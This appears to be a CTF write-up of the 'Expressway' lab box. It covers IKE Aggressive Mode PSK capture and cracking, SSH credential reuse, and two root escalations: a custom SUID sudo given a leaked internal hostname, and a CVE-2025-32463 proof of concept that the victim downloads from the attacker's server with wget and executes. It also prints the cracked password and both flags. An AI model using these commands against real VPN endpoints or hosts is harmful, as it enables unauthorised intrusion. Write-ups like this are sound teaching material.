Expressway

TL;DR. TCP only exposes SSH; the clue is in UDP: 500 runs IKE/IPsec. The server accepts Aggressive Mode with PSK authentication, leaking the identity ike@expressway.htb in cleartext. With ike-scan + psk-crack we capture and crack the PSK (freakingrockstarontheroad) and, via reuse, log in over SSH as ike (user). For root there are two paths: the intended one, an alternate sudo binary in /usr/local/bin whose -h (host) + -i flags yield a root shell using an internal hostname leaked in Squid's logs (offramp.expressway.htb); and the unintended one, CVE-2025-32463 against sudo 1.9.17.

Recon

Ping

We start with a ping to confirm the host is up and check the TTL, which hints at the OS (≈64 Linux, ≈128 Windows).

ping -c 1 10.10.11.87

64 bytes from 10.10.11.87: icmp_seq=1 ttl=63 time=120 ms

TTL 63 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 63 = 64−1; a hint, not proof (it can be spoofed), confirmed by the service scan.

TCP port scan

A full TCP scan returns a single open port, 22:

nmap -sS -n -Pn -p- --min-rate 5000 --open 10.10.11.87

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63

Version detection on 22 shows only a recent OpenSSH, nothing directly exploitable:

extractPorts, a .zshrc function, boils the -oG file down and leaves the single port on the clipboard:

extractPorts scan

Extracting information ...
IP Address: 10.10.11.87
Open ports: 22

Ports copied to clipboard

nmap -p22 -sCV 10.10.11.87

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

A modern SSH and a single TCP port give no vector. When TCP offers nothing, look at UDP.

UDP port scan

We scan the top 100 UDP ports (UDP is slow, so we narrow it):

nmap -sU --min-rate 5000 -Pn -n --open --top-ports 100 10.10.11.87 | grep -v 'filtered'

PORT    STATE SERVICE  REASON
500/udp open  isakmp   udp-response ttl 63

Up comes 500/udp (ISAKMP). Version detection confirms it's IKE (with XAUTH and Dead Peer Detection):

nmap -sUCV -p500 10.10.11.87

PORT    STATE SERVICE VERSION
500/udp open  isakmp?
| ike-version:
|   attributes:
|     XAUTH
|_    Dead Peer Detection v1.0

nmap labels the service but does not explain what it is, so the next step is reading up on the port before attacking it. Searching for 500/udp makes it clear:

What is Port 500?
Port 500 is a UDP port associated with the Internet Key Exchange (IKE) protocol, a cornerstone of IPsec.
IPsec is a framework for securing internet communications by authenticating and encrypting data.
Port 500 serves as the default channel for IKE negotiations. Its goal is to establish secure tunnels for
VPNs or other encrypted connections.

IKE (Internet Key Exchange) is the protocol IPsec uses to negotiate and authenticate VPN tunnels. It's the box's real vector, and with the protocol name in hand we can look up concrete methodology: HackTricks' IPsec/IKE pentesting section walks through the enumeration and the attack applied below.

Auth as ike

IKE Aggressive Mode → capture and crack the PSK

With ike-scan we force Aggressive Mode (-A). If the server accepts it, it reveals parameters and identity in cleartext:

ike-scan -A 10.10.11.87

Aggressive Mode Handshake returned ... SA=(Enc=3DES Hash=SHA1 Group=2:modp1024
Auth=PSK ...) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) ...

Two golden facts: authentication is PSK and the leaked ID is ike@expressway.htb. With that ID we force the handshake again and dump the crackable material:

sudo ike-scan -A 10.10.11.87 --id=ike@expressway.htb --pskcrack=ike.txt
cat ike.txt

File: ike.txt
1870b1d4f8760e4e70257e64e220aaaa7ed097a53d384d614d725179b6ebd382937c27a573507eef5c91ad1d77347fc5837632ac3
3189d8a6e7c65e2394ff61f23bac11079d86caf596c9e03c7c95a153ccec4ec3617c90f1a8478d7089f5fc8ba2e7969fd2b500a0cb
97290596:61172b946ff65274:0000000100000000010000000801010004030000240101000080010058020002803000180040000
c00040000708000000024040100008001000180020001800300018004000280<SNIP>cb62a9f050dd0bcf

The file holds the handshake material (hash:salt) ready for offline attack.

Now we crack the PSK by dictionary with psk-crack (shipped with ike-scan):

psk-crack ike.txt --dictionary /home/krmena/rockyoudir/rockyou.txt

key "freakingrockstarontheroad" matches SHA1 hash 6d818bcf5845ae...

PSK = freakingrockstarontheroad. The ID suggested an ike user; we try that pair via credential reuse against SSH.

SSH as ike

ssh ike@10.10.11.87

ike@10.10.11.87's password:
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64
...
Last login: Sat Oct 11 18:23:21 2025 from 10.10.16.6
ike@expressway:~$ whoami
ike

The credentials ike:freakingrockstarontheroad work. The user flag:

cat user.txt

adf55f3e13a095ac76c36b926151b8e2

Privilege Escalation to root

Path 1 (intended): alternate SUID sudo + internal hostname

We enumerate ike's groups and find it belongs to proxy. A find by that group leads to Squid's logs, and inside appears an internal hostname:

id
find / -group proxy 2>/dev/null
cat /var/log/squid/access.log.1

uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)
/run/squid
/var/log/squid
/var/log/squid/access.log.1
...
1753229688.902  0 192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/html

id confirms membership in the proxy group, which grants read access to Squid's logs; among the recorded requests appears http://offramp.expressway.htb.

The log mentions the subdomain offramp.expressway.htb. On its own it says little, but it clicks when listing the SUID binaries:

find / -perm -4000 2>/dev/null

/usr/sbin/exim4
/usr/local/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/sudo
/usr/bin/umount
...

The SUID list shows two paths to sudo: /usr/local/bin/sudo and /usr/bin/sudo.

There are two sudo: the normal one in /usr/bin/sudo and another in /usr/local/bin/sudo. Two sudo binaries is very unusual, so we inspect the alternate one:

/usr/local/bin/sudo --help

sudo - execute a command as another user
...
Options:
  -h, --host=host               run command on host (if supported by plugin)
  -i, --login                   run login shell as the target user; a command
                                may also be specified

Two options stand out: -h ("run command on host, if supported by plugin") and -i (login shell as the target user). Combining the leaked internal hostname with -i, and since the binary is SUID:

/usr/local/bin/sudo -h offramp.expressway.htb -i
cat /root/root.txt

635834cf5cca1dab9c21872dac532de5

A root shell. The custom sudo binary, with a plugin that honours -h, grants the root session when given the internal host.

Path 2 (unintended): CVE-2025-32463 in sudo 1.9.17

We check the system's sudo version:

sudo -V

Sudo version 1.9.17

1.9.17 is vulnerable to CVE-2025-32463, a local escalation via sudo's chroot that requires no granted rule. We clone the PoC and serve it over HTTP:

# attacker
git clone https://github.com/KaiHT-Ladiant/CVE-2025-32463
cd CVE-2025-32463
python3 -m http.server 80

Cloning into 'CVE-2025-32463'...
remote: Enumerating objects: 15, done.
Receiving objects: 100% (15/15), 10.48 KiB | 10.48 MiB/s, done.
Resolving deltas: 100% (1/1), done.

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

On the victim, we download it and set permissions:

cd /tmp/
wget http://10.10.16.6/cve-2025-32463.sh
chmod +x cve-2025-32463.sh

--2025-10-06 16:21:28--  http://10.10.16.6/cve-2025-32463.sh
Connecting to 10.10.16.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 800 [text/x-sh]
Saving to: 'cve-2025-32463.sh'
2025-10-06 16:21:28 (10.2 KB/s) - 'cve-2025-32463.sh' saved [800/800]

We run it and get root via the second path:

./cve-2025-32463.sh
id
cat /root/root.txt

uid=0(root) gid=0(root) groups=0(root),13(proxy),1001(ike)
635834cf5cca1dab9c21872dac532de5

Attack chain

nmap TCP (22 SSH) → nothing → nmap UDP (500 IKE/IPsec)
  └─> ike-scan -A → Aggressive Mode + PSK → ID ike@expressway.htb
        └─> ike-scan --id --pskcrack + psk-crack → freakingrockstarontheroad
              └─> reuse → ssh ike (user.txt)
                    ├─> Path 1: proxy group → Squid log → offramp.expressway.htb
                    │     └─> /usr/local/bin/sudo (SUID) -h offramp.expressway.htb -i → root
                    └─> Path 2: sudo 1.9.17 → CVE-2025-32463 → root

Lessons learned

• Don't forget UDP. With a single TCP port (SSH) the box looked like a wall; the whole chain hinged on scanning UDP and finding 500/udp (IKE). A narrowed UDP scan (--top-ports) out of habit would have saved the stall.
• IKE Aggressive Mode + PSK is a crackable misconfiguration. Accepting Aggressive Mode leaks the identity in cleartext and hands over material to attack the PSK offline with ike-scan/psk-crack. A dictionary PSK (rockyou) seals it.
• The PSK gets reused. The VPN key worked as-is for SSH with the user the ID suggested: the credential reuse pattern once more.
• Two sudo binaries is a red flag. A custom sudo in /usr/local/bin (which precedes /usr/bin in PATH) with a plugin honouring -h was the intended escalation; the missing piece (the internal hostname) sat in Squid's logs, readable via the proxy group.
• A vulnerable sudo version is immediate escalation. CVE-2025-32463 (sudo 1.9.14–1.9.17) gives root with no rules needed: once sudo -V falls in range, it's the fast (and unintended) path.